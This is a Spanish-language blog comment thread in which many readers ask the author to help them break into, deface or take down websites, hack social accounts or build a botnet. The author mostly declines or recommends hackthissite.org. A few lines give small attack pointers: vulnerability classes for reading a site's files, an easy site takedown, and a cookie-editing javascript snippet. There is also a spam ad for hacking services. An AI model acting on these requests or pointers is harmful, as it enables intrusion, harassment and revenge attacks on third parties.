  128. hola, veo que el post es algo viejo pero aun asi tiene información muy valiosa, yo no se de programación, soy un usuario básico de pc, pero quisiera saber si hay alguna forma de entrar a un sitio web de paga sin tener que pagar, es decir como si fuera un usuario registrado sin tener que pagar, ya sé que es mucho pedir pero si fuera posible que me ayudaras y me dijeras que hacer o por donde empezar. Gracias

    Responder

    • Hola amigo!

      La verdad es que si se puede o no se puede depende totalmetne de tu capacidad para creer que puedes. Con mucho esfuerzo, todo es posible.

      Una vez dicho esto, economicamente, es mucho mas barato simplemente pagar por el sitio, puesto que hackear algo te va a llevar muchisimo tiempo!

      Un abrazo,
      Pedro

      Responder

  129. Droope, tengo un problema, cambiaron la password de mi sitio en una empresa de web hosting, crees que puedas ayudarme para recuperar el acceso al sitio, la empresa no me ayuda en nada y me estan poniendo hast videos porno en un sitio serio. Gracias

    Responder

    • Hola Joel!

      Si es la mismisima empresa que esta hosteando tu sitio web, te convendria ir con las autoridades.

      Si es tu webmaster, te podrias poner en contacto con, bueno, la empresa de hosting. Por lo general quien paga directamente por el hosting es el dueno del hosting.

      Un abrazo!
      Pedro

      Responder

      • ¡Hola!

        No pasa nada, sabés que me podés preguntar cualquier cosa, estoy a las órdenes. No se mucho respecto a nada, pero voluntad de ayudar hay.

        Un abrazo,
        Pedro

  130. men veo q tienes muchos conocimientos en hacking me gustaria comunicarme con ud para aprender… la verdad necesito acceder a una base de datos desde y borrar informacion, no se si es mucho pedir pero de verdad es muy importante para mi!!! gracias hermano, esperare pronta respuesta (Y) xD!!!

    Responder

  131. Amigo, necesito ayuda o conocimientos, turorias o algo que en verdad me ayude a tumbar una pagina web, en parte lo hago por motivos personales ya que denigran a mi familia, pero igual por el bien de mi comunidad, en ese espacio se dedican a difamar a las personas de mi localidad y somos la mayoria que se queja de la pagina, le pedimos al webmaster que la eliminara y no lo hace debido a las visitas qe genera… me alegraria y estaria agradecido de antemano si me ayudaras….

    Responder

  132. hola, resulta y pasa que un señor me robo un dinero en una compra por internet, y me ha causado muchos perjuicios, y me gustaria dañarle su pagina por haberme robado. que dices te animas?

    Responder

  135. hey Droope, necesito hablar contigo, ya tengo las vulnaviridades de la web,. y me aparecen unas 40 … ahora ke tengo ke acer,.para poder entrar en ella…

    Responder

  137. hola oye disculpa para hackear una pagina para conseguir muchos votos que me recomiendas o que puedo hacer espero tu respuesta slds.

    Responder

  140. hola amigo, tengo 13 años, pero se bastante:
    java
    php
    html
    perl
    como cambiar el valor de una cookie:
    javascript:void(document.cookie=”cookie=valor”);
    pero no se como usar las inyecciones exactamente, por otro lado, he oido que se pueden ejecutar comandos de unix, como ls y otros.
    Mandame un correo, estoy muy interesado:
    gutierrez.yago@ymail.com

    Responder

  141. Hola man si aun estas respondiendo los msj quisiera saber mas sobre estos temas si me puedes ayudar en algo seria genial gracias

    Responder

  142. quiero saverlo todo, desde lo mas basico (no me interesa la historia de como comenzo todo) solo los pasos y diferentes tipos, modos y bariantes. quiero aprender un poco mas ya que solo se como crear comandos con m2, pero son cosas basicas, como apagar la pc, borrar archivos, ocultar los archivos bat en exe, cambiar fondo de escritorio y logo de inicio de windows, incluso me he bajado un tutorial para crear un trojano por mi mismo, pero como diria lo unico que se es mayoria pra destruccion o bromas, he estado pensando en crear un archivo oculto en un exe <–(con apariencia de imagen) para que cambie el fondo de escritorio por uno que yo quiera y bloquee la opcion para cambiarlo por otro, al igual que cambiar el logo de inicio y el cursor del mouse <–(todavia no tengo bien en claro como cambiar este) estaba por crear un virus al que llamaria el virus gay, pero queria conseguir algo mas para este (una especie de gadget de un hombre desnudo bailando o fapeandose XD)
    lo unico que he echo hasta ahra com mi V o bat fue atacar la pc de una persona X que molestaba a otras personas y ocultaba su identidad con una pagina de Fcbk incluso revele algo de informacin de esta persona en su facebook con el que utilizaba para molestar, puse sus ultimos 4 digistos de celular y un nombre que concordaba con el email del facebook <– estaba pr hackearle el facebook, pero no me sabia cual era el oficio de su abuela <—( y si intente prostituta, pero no funcionaba). hubiese usado un trojano para conseguir inf hacerca de el, pero como dejo de molestar a mi amigo <–(ami amigo solo lo molestamos sus amigos XD ) no hice nada mas :P en fin lo que quiero ahora es aprender sobre el hackeo de paginas web y todo lo relacionado

    Responder

  143. Hey! hola, me podrías enseñarme a mi también lo que sabes sobre hackear, también me interesa mucho (no por diversión) te agradecería mucho si me ayudas.
    Gracias

    Responder

  144. hola me podrias mandar ese mensaje ami, yo kiero aprender pero lo quiero usar para defender de posteriores ataques

    Responder

  149. hola drope mira me gustaria sacar de una pagina web el archivo config.php y el index.php es de una pagina web que tiene que ver sobre un servidor (pirata) de un video juego y mi intencion es extraer los datos para saber como lo a echo y asi poder fabricar el mio propio

    Responder

    • Dentro de las metas que puedes tener en la vida respecto al hacking, esta es una de las mas conseguibles. Cualquier vulnerabilidad que encuentres, ya sea LFI, SQLI o ejecución de código, te va a servir para poder leer los archivos que buscas.

      Responder

  151. bro..sera que me puedes en señar.. todo sobre hacker simpre quise aprender leei pero simpre habia un error en la informacion… ayudame yo te seguire y en un futuro.. te devolver el favor…. espero tu respuesta
    Saludos …………
    —-$—-

    Responder

    • ¡Hola amigo!

      No te puedo ayudar mucho porque soy un novato: apenas estoy aprendiendo. Hay mucho que saber, te recomiendo aprender a programar, 100% necesario para aprender.

      Un abrazo grande,
      Pedro

      Responder

  154. Hola oye necesito hackear una pagina en la cual podre cambiar algunas de mis calificaciones pero realmente necesito ayuda, podrias ayudarme? puedo pagarte

    Responder

  156. saludos no te voy a pedir que me enseñes nada lol .. no de verdad con post como estos das muy buena info para empezar, pero quiero hacerte una consulta, quisiera que me recomendaras algun sitio donde pueda conocer el proceso que lleva crear un Backdoor para una pagina como BangBros or Mofos existe muchas paginas por ahi que solo tienes que pegar el URL del intro de un video que quieres ver de una pagina de pago y este lo reproduce completo en HD por medio de un Backdoor espero me entiendas lo que estoy diciendo xD , si conoces donde puedo acceder a informacion como esta te lo agradecere gracias.

    Responder

  157. hola Droope, me gustaria aprender algo sobre abrir paginas web, o hackear sana mente sin dañar ni nada solo para aprender gracias,

    Responder

    • Hola amigo!

      Hay mucho texto relativo a esto, pues asi como hay gente que se encarga de atacar sistemas, hay mucha gente que cobra por defender sistemas.

      Yo personalemente aprendi usando hackthissite.org =)

      Un abrazo grande,
      Pedro

      Responder

  158. hola maestro, mira me intereso, como puedo charlar con tigo para saber un poco mas, y entender mas esto sobre abrir paginas web o sitios o hackear sana mente para aprender ahy mi hot mail gracias

    Responder

    • Hola amigo,

      me puedes enviar un correo a pedro@worcel.com si te quieres contactar conmigo, aunque de todas maneras te recomiendo ir a hackthissite.org directamente, ahi te recibiran de buena manera y podras aprender mucho sobre seguridad informatica

      Un abrazo,
      Pedro

      Responder

  164. Hola que tal, me tomé bastante tiempo en leer todos los comentarios :P
    quería saber si es posible hackear una página web, en este caso, es la pagina de un video juego on line. es posible entrar al editor de la web para editar cuentas en la misma ?

    cordial saludos y gracias :)

    Responder

  165. hola que tal me gustaria aprender parte del hackeo de webs y me preguntaba si podrias enseñarme y tambien ver si podrias ayudarme con una pagina web quiero desaparecer nada mas un comentario o en su caso desaparecerla

    Responder

    • Hola amigo

      Dificilmente puedas borrar algo del internet, ni siquiera el gobierno puede…

      Para aprender de seguridad te recomiendo hackthissite.org , el sitio web es muy bueno!

      Un abrazo,
      Pedro

      Responder

    • Hola Diego!

      Para aprender a hackear, lo mejor es ir directamente a hackthissite.org

      Te va a servir mucho, es muy bueno

      Un abrazo grande,
      Pedro

      Responder

  170. DROOPE buenas noches me podrias mandar un correo? necesitro preguntarte donde puedo conseguir sierta informacion y programas… capaz me podrias ayudar… muchas gracias…!!!

    Responder

  172. Hola. Aquí todo el mundo escribe, así que me animo a escribir yo también por si a droope le da por contestar! jaja. Estoy interesado en seguridad de los sitios web, ya que acabo de crear una tienda virtual y me gustaría simplemente comprobar si es segura, sobre todo por el tema de los pagos a través de Internet. ¿Existe algún procedimiento estándar que se pueda hacer para comprobar qué tan segura es una web? Tampoco tengo tiempo de aprender de todo sobre seguridad informática, sólo busco hacer las comprobaciones que cualquier persona responsable querría hacer.

    Responder

    • Hola Gabriel,

      ¡Gracias por tu comentario! La verdad es que hay muchisimo por aprender en áreas de seguridad, y me parece muy admirable tu enfoque al tema, que es la razón por la que lo escribo.

      Me imagino que lo que te preocupa principalmente es que las tarjetas de crédito de tus usuarios no sean hackeadas. Lo que se hace normalmente es terciarizar esto a una empresa reputable, por ejemplo stripe, o Paypal. De esta manera, te libras de algo absolutamente complejo.

      Por lo otro, es sugerible monitorear los logs de tu servidor, y revisar que no esté sirviendo malware. También es recomiendable siempre mantener al día el software de tu CMS.

      Esto no es todo, pero siempre es un primer paso :) La verdad es que yo también soy un novato, y siempre busco aprender mas, asique estoy abierto a sugerencias (o un guest post, si te parece)
      Un abrazo grande,
      Pedro

      Responder

    • Hola amigo!

      En hackthissite.org hay un par de capitulos que tratan con flash, te recomeindo que veas eso y que ademas le des una mirada a “OWASP ZAP”

      Un abrazo grande,
      Pedro

      Responder

    • Hola amigo!

      Eso seria ilegal y moralmente dudoso, mucho me temo que no.

      Te recomiendo que encriptes ese tipo de comunicaciones.

      Un abrazo grande,
      Pedro

      Responder

    • Hola amigo!

      Eso no me va a servr como direccion de mail, pero cualquier cosa me puedes escribir a pedro@worcel.com

      Mi recomendacion de siempre es visitar hackthissite.org, y arrancar por el principio :)

      Lleva tiempo, pero es divertido.

      Un abrazo grande,
      Pedro

      Responder

  177. También me podrías regalar un correo para ver como se hace un deface casi no se nada de esto, pero me interesaria aprender mas sobre este tipo de vulnerabilidades

    Responder

  180. Hola Pedro ¿cómo estás? Necesito que me ayudes ya sea a hackear una página o me des hackeando una. No sé nada al respecto, ni nociones… Entré a http://www.hackthissite.org y no entendí nada (aparte que está en inglés)…
    Te agradezco de antemano…
    Un abrazo

    Responder

  188. Exelente aporte pero… Como escondes tu identidad? Como lo haces sin ser detectado?

    El conocimiento es libre.
    Somos Anónimos.
    Somos Legión.
    No perdonamos.
    No olvidamos.
    ¡Esperadnos!

    Responder

  189. hola, es posible hackear una pagina de esas que te piden un nombre de usuario o mienbro y contraseña? para encontrar u obtener algun nombre y contraseña y poder entrar o hacerlo de alguna otra manera.

    Responder

  190. Necesito ayuda para hackear un sitio.
    Se trata de un cliente que por cuestiones de urgencia le tuve que facilitar los datos de acceso a su web y servidor antes de que me pagaraa y ahora ha cambiado los datos de acceso y ha bloqueado mi acceso ftp.
    El caso es que me gustaría eliminar todo lo que yo realicé en su web.

    Muchas gracias

    Responder

    • gracias amigo por el contacto!

      yo tampoco se mucho, pero lo que te puedo recomendar es que te lo tomes con calma, y sigas aprendiendo =)

      Un abrazo,
      Pedro

      Responder

  192. hola mira realmente siempre e querido aprender todo esto estudio sistemas y apneas estoy en primer grado y yo se que esto no lo quiero para molestar si no para resaltar en mis materias por favor te pido que me ayudes por favor mi correo en carlos-pegaso@hotmail.com si quieres mandame un correo o pasame tu correo yo quiero aprender todo lo que se pueda de ti y de los demas por favor :D

    Responder

    • Hola amigo!

      Primero que nada, felicitaciones por comenzar a aprender tan de peque.

      Tene paciencia, ya le vas a agarrar la mano.

      Un abrazo grande,
      Pedro

      Responder

      • Hola Droope, interesante tu post, aver si me puedes ayudar, tengo que hacer una pagina web URGENTE y no dispongo de mucho tiempo, entonces mi solucion seria (robar) una pagina web entera y su base de datos, ya sea php, css, html lo que tenga, me puedes ayudar en como hacerlo por favor ???
        Muchisimas gracias
        Luis

      • Hola Luis!

        Por lo general no es posible hacer lo que planteas, mas alla de la complejidad de obtener el codigo fuente de otro sitio web, usarlo seria complicado tambien.

        Gracias por leer mi blog!

        Un abrazo grande,
        Pedro

    • Hola Giancarlo!

      Este post solo tiene lo basico del penetration testing. Tambien, yo mismo estoy aprendiendo nada mas, y hay muchisimo para aprender.

      Cada dia que pasa me doy cuenta mas y mas de la importancia de la educacion para la sociedad, y pienso que es importante seguir para adelante con mi blog.

      Un abrazo!
      Pedro

      Responder

  198. Hola necesito ayuda para hackear el sitio de una empresa a la que le pague por adelantado y no me envio el producto que les compré. tengo testimomio de toda la negociacion. Quisiera poner en su index un anuncio que prevenga a futuros compradores de ser estafados.
    Esto es totalmente serio y recurro a tus conocimientos para que me ayudes a hacer justicia. Saludos y espero que puedas ayudarme, caso contrario agradezco desde ya y entiendo. Feliz Año.

    Responder

  203. hola.) oye me gusto mucho tu articulo, bueno yo soy nuevo en esto, la única forma en que he hackeado es a través de paginas Phishing, y se me hace muy interesante aprender un poco mas. También he dañado sistemas a través de una usb, pero como sabes, es muy difícil conseguir que alguien inserte la usb en su computadora. por favor envíame un correo te agradecería tus consejos.
    contactame a través de:
    adrxd@hotmail.es
    adrxdfb@gmail.com

    Responder

    • Hola amigo!

      te recomiendo que arranques con hackthissite.org, eso te va a servir.

      Pero es un proceso que lleva tiempo, tienes que tener paciencia.

      Abrazos,
      Pedro

      Responder

  204. Buenas me gustaria hacer una botnet casera y necesitaria que me ayudes en algo , por lo que se hay que aprender muchas cosas en el colegio me estan matando con cosas que la verdad no me interesan , y preferiria en vez de estudiar eso estudiar esto , pero no puedo y estudiar las 2 cosas intento cuando tengo tiempo libre pero siempre me engancho con otra cosa , si podes ayudarme el algo te agradesco

    Responder

    • Hola amigo,

      Gracias por leer mi blog. Podes ponerte en contacto conmigo a pedro@worcel.com, pero debes tener en claro que no te voy a ayudar con nada de dudosa legalidad ni nada ilegal.

      Un abrazo grande,
      Pedro

      Responder

    • Estoy completamente de acuerdo
      Este wn es un chanta, no sabe nada, habla puras huevadas, no da ninguna solución práctica y lo peor de todo es que al escribirle, quedas registrado como seguidor de este pelotudo y te tapan de correos con gente que ilusamente pregunta y este pelota responde las mismas sandeces de siempre sin nada real ni concreto

      Responder

  211. no es dificil las cosas que estan pidiendo todos ustedes con los programas correcto todo es super facil saludos atte:anonymous….

    Responder

  212. Hola. Buen Dia, necesito eliminar una información que se ha publicado como aviso en un sitio web .
    es un sitio web donde uno puede vender cualquier producto, es decir cualquier usuario se registra y publica lo que uno desee.
    he tratado de comunicarme con el administrador del sitio web desde hace tiempo ( 2 años ) para que elimine esta publicación donde me agravian , pero parece que esta en el mas alla, ojala no sea asi , y ahora no se que hacer porque siempre aparece en la cache de google.
    no se si me puedas ayudar ,
    por otro lado un agradecimiento por los temas que publicas , gracias

    Responder

  213. hola me interesa quiero poner un mensaje en una pagina de un V.C. que me estafo con dinero y anda como si nada
    quiero poner en su pagina web que es un estafador y que no contacten para que no les pase lo mismo que a mi puedes ayudarme?

    gracias

    Responder

  222. Hola saludos :)
    Me parecio muy interesante la informacion :)
    Tu blog (y)
    Quisiera saber si puedes ayudarme :D Solo a aprender como hack un facebook , solo curiosidad :33

    Responder

  225. Hola droope, Yo no necesito que hackees nada por mi.. lo quiero hacer yo. Solamente quiero una simple explicación y que necesito para poder hacerlo yo y si se necesita algun que otro programa nada mas. Contestame cuando puedas. Un abrazo te dejo mi e-Mail ” elwali_182@hotmail.com “

    Responder

  226. ¡Hola!
    Me he leido cada uno de los comentarios, unos me han parecido buenos y oportunos, pero otros me dejan sin habla. A quien se le ocurre poner un comentario de que se necesitan servicios de hackeo para no se que de extraccion de opociciones y extractos bancarios.
    Bueno cambiando de tema, porque no vais a la pagina que ha nombrado muchas veces, y para que sirve el hackear, en mi opinion, creacion e innovación (programar juegos y apps) es más divertido que joder a una persona que ha cometido un error y encima podemos ganar dinero si hacemos una vuena app o un buen juego, miren al de facebook y a los de google esa gente son ejemplos a seguir, simplemente an innovado. Enfin esqpero que mi comentario sirva para reflexionar algunas cosillas.
    Un saludo, Pedro.

    Responder

  227. Hola necesito entrar a una pagina con cualquier cuenta de moderador, por lo que necesito saber la contraseña y correo te diría el nombre pero solo te menciono que es una pagina de videojuegos. ¿Existe algún método de poder averiguarlo?

    Responder

  236. Podrías mandarme esa información por favor amigo me comprometo a documentar y hacertelo llegar por el mismo medio..de antemano Gracias

    Responder

  238. Hermano…… T seré sincero… Hoy desperté y beo k aún no de echó nada con mi vida..tengo 19 años…tengo mala suerte en el dinero y medio afortunado en el amor….medió… Jwheje…a lo k voy es k de estado 8 veces apuntó de morir…x asaltos y defender a una amiga…la neta no soy mala onda pero la vida me está volviendo algo cerio y solitario… Me gusta mi soledad.. Pero hay tiempos que no esta bien estar sólo..así k quisiera oedirte un favor…simplemente enceñame lo básico de éste drama…o como poder sacarle beneficio a esto….como t dije antes…tengo gran tiempo para aprender.. X la soledad..de antemano te lo agradezco y suerte..esperó tu respuesta y nuevamente gracias..

    Responder

  242. Hola te he mandado un correo pero no he recibido respuesta, es importante crees que podrias mirarlo, es desde la direccion de correo que he incorporado como datos.
    Atentamente

    Responder

  244. hey amigo me pdorias ayudar me podrias enseñar como ingresar a las web …ode lo contrario lo harias tu? es ke necesito e me ayudes urgente x favor

    Responder

  246. madenme un mail de como hackear es que quiero aprender y no se nada jajaj mi mail es: tdanilomrel@gmail.com
    facebook: tomas marel ( foto de un chico y una chica jugando ah la play )
    whatsapp: no deveria pero si quieren saber mi numero ( abajo )
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    –
    -para que quieres saber eso jaja saludos :D

    Responder

  248. Hola, necesito hackear una cuenta pero necesito si me enseñas a hacerlo bien, la cuenta es temporal de Twitter. Vos solo decime como va el tema y yo lo hago.

    Responder

  249. Hola, necesito que me ayudes a tirar abajo una web… la hice y el cliente no me quiso pagar el dinero del trabajo. Como es de otro país, solo se hizo el loco y no pagó… ¿me ayudas?

    Responder

    • Depende de como sea el hosting de la página, por ejemplo si es “.es.tl” podrías tirarla en unos segundos, si son otros dominios más famosos y con sub-servidores necesitarías almenos como 40 personas para tirarla..

      Responder

  250. necesito unos codigos para eliminacion inmediata Cross Site Scripting ( Javascript injection ) para barra de navegacion son una serie de cuatro aprox,las perdi,otra cosa sabes algo sobre el codigo de los ceros,un saludo

    Responder

  251. hola una consulta digamos qe yo entro a una web con un nombre de usuario que no soy y contrasena que no es mia como podran ubicarme

    Responder

  252. Hola, he encontrado páginas vulnerables con “Sql Poizon” y quiero editar alguna página con vulnerabilidad, como se podría hacer? Osea lo que quiero hacer es literalmente hackear la pagina y editarla como cambiarle el nombre, agregarle imágenes, etc. Obvio que sea un cambio encerio no que solamente yo lo vea, quiero que lo vean todos porque hay muchos tontos que se creen “hackers” y solamente editan el texto con elementos del mismo navegador o plugins..

    Gracias!

    Responder

  256. hola me gustaria tu ayuda y tu conociemiento sobre esto tengo conocimiento sobre informatica pero no tan amplios y tengo un problema podrias ayudarme?

    Responder

  262. Podrias mandarme un e-mail para enseñarme a mi tambien sobre las inyecciones SQL. No se nada de programación y me gustaría aprender.

    Responder

  264. ¿HOLA, NECESITA SERVICIOS DE HACKING? USTED PUEDE CONTRATAR (anonymoushacktivist04@gmail.com) EL MEJOR CERTIFICADO HACKERS PROFESIONALES PARA LOS SERVICIOS DE HACKING. NUESTRA RED DE HACKERS ALTAMENTE HABILITADOS Y ENTRENADOS PUEDE AYUDARLE A HACER EN LOS DISPOSITIVOS MÓVILES COMO LOS TEXTOS Y LLAMADAS DE SU PAREJA, HACK DE ATM, HACKS DE FACEBOOK, HACKS DE CORREOS ELECTRÓNICOS, HACKS DE BASE DE DATOS DE WEBSITES, BORRADOR DE BLOGGER, HACKS DE CANAL DE YOUTUBE, ACTUALIZACIÓN DE GRADOS ESCOLARES, HACK BANCO CUENTAS Y LOTES MÁS A UN COSTO MUY ASEQUIBLE. Contacte con nosotros en anonymoushacktivist04@gmail.com

    Responder

  267. if(youcanseeme){
    echo ‘I need your help to settle outstanding accounts with a customer who owes me money’
    if(youcanhelpme)
    echo ‘Now you send mail, I hope your answer’
    else
    echo ‘Thanks’

    }

    Responder

Agrega un comentario! los comentarios se aprueban automaticamente

Introduce tus datos o haz clic en un icono para iniciar sesión:

Gravatar
Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. ( Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. ( Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. ( Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. ( Cerrar sesión / Cambiar )

Cancelar

Conectando a %s